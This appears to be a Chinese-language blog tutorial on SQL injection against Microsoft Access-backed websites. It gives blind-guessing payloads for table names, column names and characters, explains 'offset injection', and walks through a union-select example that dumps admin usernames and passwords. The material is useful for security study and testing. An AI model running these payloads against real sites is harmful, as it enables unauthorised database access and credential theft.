常见的搭建组合：
| 脚本格式 |
数据库 |
搭建品台 |
操作系统 |
| Asp |
Access，SqlServer |
IIS |
Windows |
| Php |
Mysql，postsql
扫描二维码关注公众号，回复：
2704213 查看本文章
|
Apache，IIS |
Windows，linux |
| Aspx |
SqlServer |
IIS |
Windows |
| Jsp |
Oracle，SqlServer |
IIS，tomcat |
Windows，linux |
Access注入：
Access数据库是微软发布的，轻快小巧
结构：数据库==》表名==》列名==》数据
和mysql数据库不同的是，mysql数据库中有information_schema表，可以使用联合查询来查询敏感表中的敏感数据，access数据库中没有information_schema表，因此access数据库的注入，只能靠暴力猜解的形式进行
猜数据表：and exists（select * from user）是否存在user表
猜解数据列：and exists（select admin from user）是否存在admin列
猜解数据列的长度：and （select top 1 len（admin）from user）> 3
猜解出admin列内容长度
猜解数据列的内容：and （select top 1 asc（mid（admin，1,1）） from admin）> 97 猜解出admin列的内容
可以选择sqlmap进行暴力破解
Access偏移注入：
偏移注入原理：借用数据库的自连接查询让数据库内部发生乱序，从而偏移出所需要的字段在我们的页面上显示
偏移注入的用途：
解决知道access数据库中知道表名，但是得不到字段的sql注入困境
偏移注入的特点：
A：成功与否看技巧和运气，不能100%成功
B：无需管理员账号密码字段，直接爆账号密码
偏移注入的利用条件：
A：已知管理表名
B：已知任意字段（一个或多个会增加机率，最常见的就是id）
影响偏移注入的成功率的因素：
A：管理表的字段数越少越好（最好是三个：id 账号 密码）
B：当前注入点的脚本内容查询的表内的字段数越多越好（最好有几十个，这样基本成功率是100%）
C：已知的字段数越多越好（id一般存在）
偏移注入的一般流程：
1.判断字段数
2.判断表名
3.开始偏移注入
举例：
1.首先用order by 判断字段数
Id=1 order by 5
2.用union select 爆字段显示位
Id=1 union select 1,2,3,4,5 from admin
假设爆出字段显示位为2,3，列名为 username，password
Id=1 union select 1，username，password，4,5 from admin
这样就可以得到username，password的值了